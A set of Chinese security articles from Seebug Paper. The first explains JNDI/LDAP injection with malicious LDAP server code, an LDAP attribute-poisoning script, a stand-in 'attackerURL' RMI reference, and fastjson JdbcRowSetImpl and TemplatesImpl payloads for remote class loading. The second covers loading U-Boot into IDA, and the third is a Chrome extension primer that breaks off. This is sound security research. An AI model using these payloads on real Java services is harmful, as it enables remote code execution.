关键字 英文全称 含义 dc Domain Component 域名的部分,其格式是将完整的域名分成几部分,如域名为example.com变成dc=example,dc=com(一条记录的所属位置) uid User Id 用户ID songtao.xu(一条记录的ID) ou Organization Unit 组织单位,组织单位可以包含其他各种对象(包括其他组织单元),如"employees"(一条记录的所属组织单位) cn Common Name 公共名称,如"Thomas Johansson"(一条记录的名称) sn Surname 姓,如"xu" dn Distinguished Name 由有多个其他属性组成,如"uid=songtao.xu,ou=oa组,dc=example,dc=com",一条记录的位置(唯一) rdn Relative dn 相对辨别名,类似于文件系统中的相对路径,它是与目录树结构无关的部分,如“uid=tom”或“cn= Thomas Johansson” LDAP 的目录信息是以树形结构进行存储的,在树根一般定义国家(c=CN)或者域名(dc=com),其次往往定义一个或多个组织(organization,o)或组织单元(organization unit,ou)。一个组织单元可以包含员工、设备信息(计算机/打印机等)相关信息。例如为公司的员工设置一个DN,可以基于cn或uid(User ID)作为用户账号。如example.com的employees单位员工longofo的DN可以设置为下面这样:
uid=longofo,ou=employees,dc=example,dc=com
用树形结构表示就是下面这种形式(Person绑定的是类对象):
LDAP攻击向量
攻击过程如下:
- 攻击者为易受攻击的JNDI查找方法提供了一个绝对的LDAP URL
- 服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI 引用
- 服务器解码JNDI引用
- 服务器从攻击者控制的服务器获取Factory类
- 服务器实例化Factory类
- 有效载荷得到执行
JNDI也可以用于与LDAP目录服务进行交互。通过使用几个特殊的Java属性,如上面提到的javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation属性等,使用这些属性可以使用LDAP来存储Java对象,在LDAP目录中存储属性至少有以下几种方式:
- 使用序列化
这种方式在具体在哪个版本开始需要开启
com.sun.jndi.ldap.object.trustURLCodebase
属性默认为true才允许远程加载类还不清楚,不过我在jdk1.8.0_102上测试需要设置这个属性为true。恶意服务端:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253package com.longofo;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;/*** LDAP server implementation returning JNDI references** @author mbechler*/public class LDAPSeriServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main(String[] args) throws IOException {int port = 1389;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.setSchema(null);config.setEnforceAttributeSyntaxCompliance(false);config.setEnforceSingleStructuralObjectClass(false);InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();} catch (Exception e) {e.printStackTrace();}}}客户端:
12345678910111213package com.longofo.jndi;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class LDAPClient1 {public static void main(String[] args) throws NamingException {System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");Context ctx = new InitialContext();Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");}}完整代码在github上,先启动
remote-class/src/main/java/com/longofo/remoteclass/HttpServer
,接着启动rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPSeriServer
,运行rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPServer1
添加codebase以及序列化对象,在运行客户端rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/LDAPClient1
即可复现。以上代码在JDK 1.8.0_102测试通过,注意客户端System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true")
这里我在jdk 1.8.0_102测试不添加这个允许远程加载是不行的,所以具体的测试结果还是以实际的测试为准。- 使用JNDI引用
这种方式在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性默认为false时不允许远程加载类了
1恶意服务端:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253package com.longofo;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.io.IOException;import java.net.InetAddress;/*** LDAP server implementation returning JNDI references** @author mbechler*/public class LDAPRefServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main(String[] args) throws IOException {int port = 1389;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.setSchema(null);config.setEnforceAttributeSyntaxCompliance(false);config.setEnforceSingleStructuralObjectClass(false);InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();} catch (Exception e) {e.printStackTrace();}}}客户端:
123456789101112package com.longofo.jndi;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class LDAPClient2 {public static void main(String[] args) throws NamingException {Context ctx = new InitialContext();Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");}}完整代码在github上,先启动
remote-class/src/main/java/com/longofo/remoteclass/HttpServer
,接着启动rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPRefServer
,运行rmi-jndi-ldap-jrmp/ldap/src/main/java/com/longofo/LDAPServer2
添加JNDI引用,在运行客户端rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/LDAPClient2
即可复现。- Remote Location方式
这种方式是结合LDAP与RMI+JNDI Reference的方式,所以依然会受到上面RMI+JNDI Reference的限制,这里就不写代码测试了,下面的代码只说明了该如何使用这种方式:
12345678BasicAttribute mod1 = new BasicAttribute("javaRemoteLocation","rmi://attackerURL/PayloadObject");BasicAttribute mod2 = new BasicAttribute("javaClassName","PayloadObject");ModificationItem[] mods = new ModificationItem[2];mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods);还有利用本地class绕过高版本JDK限制的,可以参考https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html[11]的"绕过高版本JDK限制:利用LDAP返回序列化数据,触发本地Gadget"部分
LDAP与JNDI search()
lookup()方式是我们能控制ctx.lookup()参数进行对象的查找,LDAP服务器也是攻击者创建的。对于LDAP服务来说,大多数应用使用的是ctx.search()进行属性的查询,这时search会同时使用到几个参数,并且这些参数一般无法控制,但是会受到外部参数的影响,同时search()方式能被利用需要RETURN_OBJECT为true,可以看下后面几已知的JNDI search()漏洞就很清楚了。
攻击场景
对于search方式的攻击需要有对目录属性修改的权限,因此有一些限制,在下面这些场景下可用:
- 恶意员工:上面使用了几种利用都使用了modifyAttributes方法,但是需要有修改权限,如果员工具有修改权限那么就能像上面一样注入恶意的属性
- 脆弱的LDAP服务器:如果LDAP服务器被入侵了,那么入侵LDAP服务器的攻击者能够进入LDAP服务器修改返回恶意的对象,对用的应用进行查询时就会受到攻击
- 易受攻击的应用程序:利用易受攻击的一个应用,如果入侵了这个应用,且它具有对LDAP的写权限,那么利用它使注入LDAP属性,那么其他应用使用LDAP服务是也会遭到攻击
- 用于访问LDAP目录的公开Web服务或API:很多现代LDAP服务器提供用于访问LDAP目录的各种Web API。可以是功能或模块,例如REST API,SOAP服务,DSML网关,甚至是单独的产品(Web应用程序)。其中许多API对用户都是透明的,并且仅根据LDAP服务器的访问控制列表(ACL)对它们进行授权。某些ACL允许用户修改其任何除黑名单外的属性
- 中间人攻击:尽管当今大多数LDAP服务器使用TLS进行加密他们的通信后,但在网络上的攻击者仍然可能能够进行攻击并修改那些未加密的证书,或使用受感染的证书来修改属性
- ...
已知的JNDI search()漏洞
- Spring Security and LDAP projects
- FilterBasedLdapUserSearch.searchForUser()
- SpringSecurityLdapTemplate.searchForSingleEntry()
- SpringSecurityLdapTemplate.searchForSingleEntryInternal(){
...
1234567891011121314151617**ctx.search(searchBaseDn, filter, params,buildControls(searchControls));**...}buildControls(){? return new SearchControls(? originalControls.getSearchScope(),? originalControls.getCountLimit(),? originalControls.getTimeLimit(),? originalControls.getReturningAttributes(),? **RETURN_OBJECT**, // true? originalControls.getDerefLinkFlag());}利用方式:
1234567891011121314151617181920212223242526272829303132import ldap# LDAP ServerbaseDn = 'ldap://localhost:389/'# User to PoisonuserDn = "cn=Larry,ou=users,dc=example,dc=org"# LDAP Admin Credentialsadmin = "cn=admin,dc=example,dc=org"password = "password"# PayloadpayloadClass = 'PayloadObject'payloadCodebase = 'http://localhost:9999/'# Poisoningprint "[+] Connecting"conn = ldap.initialize(baseDn)conn.simple_bind_s(admin, password)print "[+] Looking for user: %s" % userDnresult = conn.search_s(userDn, ldap.SCOPE_BASE, '(uid=*)', None)for k,v in result[0][1].iteritems():print "\t\t%s: %s" % (k,v,)print "[+] Poisoning user: %s" % userDnmod_attrs = [(ldap.MOD_ADD, 'objectClass', 'javaNamingReference'),(ldap.MOD_ADD, 'javaCodebase', payloadCodebase),(ldap.MOD_ADD, 'javaFactory', payloadClass),(ldap.MOD_ADD, 'javaClassName', payloadClass)]conn.modify_s(userDn, mod_attrs)print "[+] Verifying user: %s" % userDnresult = conn.search_s(userDn, ldap.SCOPE_BASE, '(uid=*)', None)for k,v in result[0][1].iteritems():print "\t\t%s: %s" % (k,v,)print "[+] Disconnecting"conn.unbind_s()不需要成功认证payload依然可以执行
- Spring LDAP
- LdapTemplate.authenticate()
- LdapTemplate.search(){
1234? return search(base, filter, getDefaultSearchControls(searchScope,? **RETURN_OBJ_FLAG**, attrs), mapper);//true}利用方式同上类似
- Apache DS Groovy API
Apache Directory提供了一个包装器类(org.apache.directory.groovyldap.LDAP),该类提供了 用于Groovy的LDAP功能。此类对所有搜索方法都使用将returnObjFlag设置为true的方法从而使它们容易受到攻击
已知的JNDI注入
由@zerothinking发现
org.springframework.transaction.jta.JtaTransactionManager.readObject()
方法最终调用了InitialContext.lookup()
,并且最终传递到lookup中的参数userTransactionName能被攻击者控制,调用过程如下:- initUserTransactionAndTransactionManager()
- JndiTemplate.lookup()
- InitialContext.lookup()
- com.sun.rowset.JdbcRowSetImpl
由@matthias_kaiser发现
com.sun.rowset.JdbcRowSetImpl.execute()
最终调用了InitialContext.lookup()
- JdbcRowSetImpl.execute()
- JdbcRowSetImpl.prepare()
- JdbcRowSetImpl.connect()
- InitialContext.lookup()
要调用到JdbcRowSetImpl.execute(),作者当时是通过
org.mozilla.javascript.NativeError
与javax.management.BadAttributeValueExpException
配合在反序列化实现的,这个类通过一系列的复杂构造,最终能成功调用任意类的无参方法,在ysoserial中也有这条利用链。可以阅读这个漏洞的原文,里面还可以学到TemplatesImpl
这个类,它能通过字节码加载一个类,这个类的使用在fastjson漏洞中也出现过,是@廖新喜师傅提供的一个PoC,payload大概长这个样子:`java' payload = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["xxxxxxxxxx"], "_name": "1111", "_tfactory": { }, "_outputProperties":{ }}";
1234另一个`JdbcRowSetImpl`的利用方式是通过它的`setAutoCommit`,也是通过fastjson触发,`setAutoCommit`会调用`connect()`,也会到达`InitialContext.lookup()`,payload:```javapayload = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit","autoCommit":true}";found by @pwntester
javax.management.remote.rmi.RMIConnector.connect()
最终会调用到InitialContext.lookup()
,参数jmxServiceURL可控- RMIConnector.connect()
- RMIConnector.connect(Map environment)
- RMIConnector.findRMIServer(JMXServiceURL directoryURL, Map environment)
- RMIConnector.findRMIServerJNDI(String jndiURL, Map env, boolean isIiop)
- InitialContext.lookup()
- org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()
found by @pwntester
在
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()
中会调用InitialContext.lookup()
,并且参数sfJNDIName可控- ...
小结
从上面我们能了解以下几点:
- JNDI能配合RMI、LDAP等服务进行恶意利用
- 每种服务的利用方式有多种,在不同的JDK版本有不同的限制,可以使用远程类加载,也能配合本地GadGet使用
- JNDI lookup()与JNDI search()方法不同的利用场景
对这些资料进行搜索与整理的过程自己能学到很多,有一些相似性的特征自己可以总结与搜集下。
参考
- https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
- https://paper.seebug.org/1012/
- https://www.freebuf.com/vuls/126499.html
- https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/codebase.html
- https://www.oreilly.com/library/view/weblogic-the-definitive/059600432X/ch04s03.html#weblogictdg-CHP-4-EX-3
- https://www.freebuf.com/vuls/126499.html
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#background
- http://www.codersec.net/2018/09/%E4%B8%80%E6%AC%A1%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91rmi%E6%9C%8D%E5%8A%A1%E7%9A%84%E6%B7%B1%E6%80%9D/
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
- https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
- https://docs.oracle.com/javase/jndi/tutorial/objects/storing/serial.html
- https://docs.oracle.com/javase/jndi/tutorial/objects/storing/reference.html
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1091/
-
使用 IDA 处理 U-Boot 二进制流文件
作者:Hcamael@知道创宇404实验室
时间:2019年11月29日最近在研究IoT设备的过程中遇到一种情况。一个IoT设备,官方不提供固件包,网上也搜不到相关的固件包,所以我从flash中直接读取。因为系统是VxWorks,能看到flash布局,所以能很容易把uboot/firmware从flash中分解出来。对于firmware的部分前一半左右是通过lzma压缩,后面的一半,是相隔一定的区间有一部分有lzma压缩数据。而固件的符号信息就在这后半部分。因为不知道后半部分是通过什么格式和前半部分代码段一起放入内存的,所以对于我逆向产生了一定的阻碍。所以我就想着看看uboot的逻辑,但是uboot不能直接丢入ida中进行分析,所以有了这篇文章,分析uboot格式,如何使用ida分析uboot。
uboot格式
正常的一个uboot格式应该如下所示:
1234567$ binwalk bootimg.binDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------13648 0x3550 CRC32 polynomial table, big endian14908 0x3A3C uImage header, header size: 64 bytes, header CRC: 0x25ED0948, created: 2019-12-02 03:39:51, image size: 54680 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x3DFB76CD, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"14972 0x3A7C LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes而这uboot其实还得分为三部分:
1.从0x00 - 0x346C是属于bootstrap的部分
2.0x346C-0x34AC有0x40字节的uboot image的头部信息
3.从0x34AC到结尾才是uboot image的主体,经过lzma压缩后的结果那么uboot是怎么生成的呢?Github上随便找了一个uboot源码: https://github.com/OnionIoT/uboot,编译安装了一下,查看uboot的生成过程。
1.第一步,把bootstrap和uboot源码使用gcc编译成两个ELF程序,得到
bootstrap
和uboot
2.第二步,使用objcopy把两个文件分别转换成二进制流文件。12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455$ mips-openwrt-linux-uclibc-objcopy --gap-fill=0xff -O binary bootstrap bootstrap.bin$ mips-openwrt-linux-uclibc-objcopy --gap-fill=0xff -O binary uboot uboot.bin$ binwalk u-boot/bootstrapDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 ELF, 32-bit MSB executable, MIPS, version 1 (SYSV)13776 0x35D0 CRC32 polynomial table, big endian28826 0x709A Unix path: /uboot/u-boot/cpu/mips/start_bootstrap.S$ binwalk u-boot/bootstrap.binDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------13648 0x3550 CRC32 polynomial table, big endian$ binwalk u-boot/u-bootDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 ELF, 32-bit MSB executable, MIPS, version 1 (SYSV)132160 0x20440 U-Boot version string, "U-Boot 1.1.4 (Dec 2 2019, 11:39:50)"132827 0x206DB HTML document header133794 0x20AA2 HTML document footer134619 0x20DDB HTML document header135508 0x21154 HTML document footer135607 0x211B7 HTML document header137363 0x21893 HTML document footer137463 0x218F7 HTML document header138146 0x21BA2 HTML document footer138247 0x21C07 HTML document header139122 0x21F72 HTML document footer139235 0x21FE3 HTML document header139621 0x22165 HTML document footer139632 0x22170 CRC32 polynomial table, big endian179254 0x2BC36 Unix path: /uboot/u-boot/cpu/mips/start.S$ binwalk u-boot/u-boot.binDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------132032 0x203C0 U-Boot version string, "U-Boot 1.1.4 (Dec 2 2019, 11:39:50)"132699 0x2065B HTML document header133666 0x20A22 HTML document footer134491 0x20D5B HTML document header135380 0x210D4 HTML document footer135479 0x21137 HTML document header137235 0x21813 HTML document footer137335 0x21877 HTML document header138018 0x21B22 HTML document footer138119 0x21B87 HTML document header138994 0x21EF2 HTML document footer139107 0x21F63 HTML document header139493 0x220E5 HTML document footer139504 0x220F0 CRC32 polynomial table, big endian3.把u-boot.bin使用lzma算法压缩,得到u-boot.bin.lzma
12345$ binwalk u-boot/u-boot.bin.lzmaDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes4.使用mkimage,给u-boot.bin.lzma加上0x40字节的头部信息得到u-boot.lzming
123456$ binwalk u-boot/u-boot.lzimgDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 uImage header, header size: 64 bytes, header CRC: 0x25ED0948, created: 2019-12-02 03:39:51, image size: 54680 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x3DFB76CD, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"64 0x40 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes5.最后把
bootstrap.bin
和u-boot.lzming
合并到一起,然后根据需要uboot的实际大小,比如需要一个128k的uboot,在末尾使用0xff
补齐到128k大小使用ida处理bootstrap二进制流文件
在上面的结构中,需要注意几点:
1.
Data Address: 0x80010000, Entry Point: 0x80010000
表示设备启动后,会把后续uboot通过lzma解压出来的数据存入内存地址0x80010000,然后把$pc设置为: 0x80010000,所以uboot最开头4字节肯定是指令。2.
uncompressed size: 161184 bytes
,可以使用dd把LZMA数据单独取出来,然后使用lzma解压缩,解压缩后的大小要跟这个字段一样。如果还想确认解压缩的结果有没有问题,可以使用CRC算法验证。接下来就是通过dd或者其他程序把二进制流从uboot中分离出来,再丢到ida中。先来看看bootstrap,首先指定相应的CPU类型,比如对于上例,则需要设置MIPS大端。
随后我们暂时设置一下起始地址为0x80010000,通电以后CPU第一个执行的地址默认情况下我们是不知道的,不同CPU有不同的起始地址。设置如下图所示:
bootstrap最开头也指令,所以按C转换成指令,如下图所示:
跳转到0x80010400, 随后是一段初始化代码,下一步我们需要确定程序基地址,因为是mips,所以我们可以根据$gp来判断基地址。
如上图所示,因为bootstrap的大小为0x3a3c bytes,所以可以初步估计基地址为
0x9f000000
,所以下面修改一下基地址:并且修改在
Options -> General -> Analysis -> Processor specific ......
设置$gp=0x9F0039A0
0x9F0039A0
地址开始属于got表的范围,存储的是函数地址,所以把0x9F0039A0
地址往后的数据都转成word:到此就处理完毕了,后面就是存逆向的工作了,具体bootstrap代码都做了什么,不是本文的重点,所以暂不管。
使用ida处理uboot流文件
处理bootstrap,我们再看看uboot,和上面的处理思路大致相同。
1.使用dd或其他程序,把uboot数据先分离出来。 2.使用lzma解压缩 3.丢到ida,设置CPU类型,设置基地址,因为uboot头部有明确定义基地址为0x80010000,所以不用再自己判断基地址 4.同样把第一句设置为指令
正常情况下,uboot都是这种格式,0x80010008为got表指针,也是$gp的值。
5.根据0x80010008的值,去设置$gp 6.处理got表,该地址往后基本都是函数指针和少部分的字符串指针。结尾还有uboot命令的结构体。
到此uboot也算基础处理完了,后续也都是逆向的工作了,也不是本文的关注的内容。
编写idapython自动处理uboot
拿uboot的处理流程进行举例,使用Python编写一个ida插件,自动处理uboot二进制流文件。
1.我们把0x80010000设置为__start函数
12idc.add_func(0x80010000)idc.set_name(0x80010000, "__start")2.0x80010008是got表指针,因为我们处理了0x80010000,所以got表指针地址也被自动翻译成了代码,我们需要改成word格式。
1234idc.del_items(0x80010008)idc.MakeDword(0x80010008)got_ptr = idc.Dword(0x80010008)idc.set_name(idc.Dword(0x80010008), ".got.ptr")3.把got表都转成Word格式,如果是字符串指针,在注释中体现出来
1234567891011121314def got():assert(got_ptr)for address in range(got_ptr, end_addr, 4):value = idc.Dword(address)if value == 0xFFFFFFFF:2019-12-03 15:36:56 星期二breakidc.MakeDword(address)idaapi.autoWait()if idc.Dword(value) != 0xFFFFFFFF:func_name = idc.get_func_name(value)if not idc.get_func_name(value):idc.create_strlit(value, idc.BADADDR)else:funcs.append(func_name)基本都这里就ok了,后面还可以加一些.text段信息,但不是必要的,最后的源码如下:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667#!/usr/bin/env python# -*- coding=utf-8 -*-import idcimport idaapiclass Anlysis:def __init__(self):self.start_addr = idc.MinEA()self.end_addr = idc.MaxEA()self.funcs = []def uboot_header(self):idc.add_func(self.start_addr)idc.set_name(self.start_addr, "__start")idc.del_items(self.start_addr + 0x8)idc.MakeDword(self.start_addr + 0x8)self.got_ptr = idc.Dword(self.start_addr+8)idc.set_name(idc.Dword(self.start_addr+8), ".got.ptr")def got(self):assert(self.got_ptr)for address in range(self.got_ptr, self.end_addr, 4):value = idc.Dword(address)if value == 0xFFFFFFFF:breakidc.MakeDword(address)idaapi.autoWait()if idc.Dword(value) != 0xFFFFFFFF:func_name = idc.get_func_name(value)if not idc.get_func_name(value):idc.create_strlit(value, idc.BADADDR)else:self.funcs.append(func_name)def get_max_text_addr(self):assert(self.funcs)max_addr = 0for func_name in self.funcs:addr = idc.get_name_ea_simple(func_name)end_addr = idc.find_func_end(addr)if end_addr > max_addr:max_addr = end_addrif max_addr % 0x10 == 0:self.max_text_addr = max_addrelse:self.max_text_addr = max_addr + 0x10 - (max_addr % 0x10)def add_segment(self, start, end, name, type_):segment = idaapi.segment_t()segment.startEA = startsegment.endEA = endsegment.bitness = 1idaapi.add_segm_ex(segment, name, type_, idaapi.ADDSEG_SPARSE | idaapi.ADDSEG_OR_DIE)def start(self):# text segself.uboot_header()self.got()self.get_max_text_addr()self.add_segment(self.start_addr, self.max_text_addr, ".text", "CODE")# endidc.jumpto(self.start_addr)if __name__ == "__main__":print("Hello World")
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1090/
-
从 0 开始入门 Chrome Ext 安全(一) — 了解一个 Chrome Ext
作者:LoRexxar'@知道创宇404实验室
时间:2019年11月21日在2019年初,微软正式选择了Chromium作为默认浏览器,并放弃edge的发展。并在19年4月8日,Edge正式放出了基于Chromium开发的Edge Dev浏览器,并提供了兼容Chrome Ext的配套插件管理。再加上国内的大小国产浏览器大多都是基于Chromium开发的,Chrome的插件体系越来越影响着广大的人群。
在这种背景下,Chrome Ext的安全问题也应该受到应有的关注,《从0开始入门Chrome Ext安全》就会从最基础的插件开发开始,逐步研究插件本身的恶意安全问题,恶意网页如何利用插件漏洞攻击浏览器等各种视角下的安全问题。
第一部分我们就主要来聊聊关于Chrome Ext的一些基础。
获取一个插件的代码
Chrome Ext的存在模式类似于在浏览器层新加了一层解释器,在我们访问网页的时候,插件会加载相应的html、js、css,并解释执行。
所以Chrome Ext的代码也就是html、js、css这类,那我们如何获取插件的代码呢?
当我们访问扩展程序的页面可以获得相应的插件id
然后我们可以在https://chrome-extension-downloader.com/中下载相应的crx包。
把crx改名成zip之后解压缩就可以了
manifest.json
在插件的代码中,有一个重要的文件是manifest.json,在manifest.json中包含了整个插件的各种配置,在配置文件中,我们可以找到一个插件最重要的部分。
首先是比较重要的几个字段
- browser_action
- 这个字段主要负责扩展图标点击后的弹出内容,一般为popup.html
- content_scripts
- matches 代表scripts插入的时机,默认为document_idle,代表页面空闲时
- js 代表插入的scripts文件路径
- run_at 定义了哪些页面需要插入scripts
- permissions
- 这个字段定义了插件的权限,其中包括从浏览器tab、历史纪录、cookie、页面数据等多个维度的权限定义
content_security_policy
- 这个字段定义了插件页面的CSP
- 但这个字段不影响content_scripts里的脚本
- background
- 这个字段定义插件的后台页面,这个页面在默认设置下是在后台持续运行的,只随浏览器的开启和关闭
- persistent 定义了后台页面对应的路径
- page 定义了后台的html页面
- scripts 当值为false时,background的页面不会在后台一直运行
在开始Chrome插件的研究之前,除了manifest.json的配置以外,我们还需要了解一下围绕chrome建立的插件结构。
Chrome Ext的主要展现方式
browserAction - 浏览器右上角
浏览器的右上角点击触发的就是mainfest.json中的
browser_action
12345"browser_action": {"default_icon": "img/header.jpg","default_title": "LoRexxar Tools","default_popup": "popup.html"},其中页面内容来自popup.html
pageAction
pageAction和browserAction类似,只不过其中的区别是,pageAction是在满足一定的条件下才会触发的插件,在不触发的情况下会始终保持灰色。
contextMenus 右键菜单
通过在chrome中调用chrome.contextMenus这个API,我们可以定义在浏览器中的右键菜单。
当然,要控制这个api首先你必须申请控制contextMenus的权限。
1{"permissions": ["contextMenus"]}一般来说,这个api会在background中被定义,因为background会一直在后台加载。
1234chrome.contextMenus.create({title: "测试右键菜单",onclick: function(){alert('您点击了右键菜单!');}});override - 覆盖页面
chrome提供了override用来覆盖chrome的一些特定页面。其中包括历史记录、新标签页、书签等...
123456"chrome_url_overrides":{"newtab": "newtab.html","history": "history.html","bookmarks": "bookmarks.html"}比如Toby for Chrome就是一个覆盖新标签页的插件
devtools - 开发者工具
chrome允许插件重构开发者工具,并且相应的操作。
插件中关于devtools的生命周期和F12打开的窗口时一致的,当F12关闭时,插件也会自动结束。
而在devtools页面中,插件有权访问一组特殊的API,这组API只有devtools页面中可以访问。
123chrome.devtools.panels:面板相关;chrome.devtools.inspectedWindow:获取被审查窗口的有关信息;chrome.devtools.network:获取有关网络请求的信息;1234{// 只能指向一个HTML文件,不能是JS文件"devtools_page": "devtools.html"}option - 选项
option代表着插件的设置页面,当选中图标之后右键选项可以进入这个页面。
1234567{"options_ui":{"page": "options.html","chrome_style": true},}omnibox - 搜索建议
在chrome中,如果你在地址栏输入非url时,会将内容自动传到google搜索上。
omnibox就是提供了对于这个功能的魔改,我们可以通过设置关键字触发插件,然后就可以在插件的帮助下完成搜索了。
1234{// 向地址栏注册一个关键字以提供搜索建议,只能设置一个关键字"omnibox": { "keyword" : "go" },}这个功能通过
chrome.omnibox
这个api来定义。notifications - 提醒
notifications代表右下角弹出的提示框
123456chrome.notifications.create(null, {type: 'basic',iconUrl: 'img/header.jpg',title: 'test',message: 'i found you!'});权限体系和api
在了解了各类型的插件的形式之后,还有一个比较重要的就是Chrome插件相关的权限体系和api。
Chrome发展到这个时代,其相关的权限体系划分已经算是非常细致了,具体的细节可以翻阅文档。
抛开Chrome插件的多种表现形式不谈,插件的功能主要集中在js的代码里,而js的部分主要可以划分为5种injected script、content-script、popup js、background js和devtools js.
- injected script 是直接插入到页面中的js,和普通的js一致,不能访问任何扩展API.
- content-script 只能访问extension、runtime等几个有限的API,也可以访问dom.
- popup js 可以访问大部分API,除了devtools,支持跨域访问
- background js 可以访问大部分API,除了devtools,支持跨域访问
- devtools js 只能访问devtools、extension、runtime等部分API,可以访问dom
JS 是否能访问DOM 是否能访问JS 是否可以跨域 injected script 可以访问 可以访问 不可以 content script 可以访问 不可以 不可以 popup js 不可直接访问 不可以 可以 background js 不可直接访问 不可以 可以 devtools js 可以访问 可以访问 不可以 同样的,针对这多种js,我们也需要特殊的方式进行调试
- injected script: 直接F12就可以调试
- content-script:在F12中console选择相应的域
- popup js: 在插件右键的列表中有审查弹出内容
- background js: 需要在插件管理页面点击背景页然后调试
通信方式
在前面介绍过各类js之后,我们提到一个重要的问题就是,在大部分的js中,都没有给与访问js的权限,包括其中比较关键的content script.
那么插件怎么和浏览器前台以及相互之间进行通信呢?
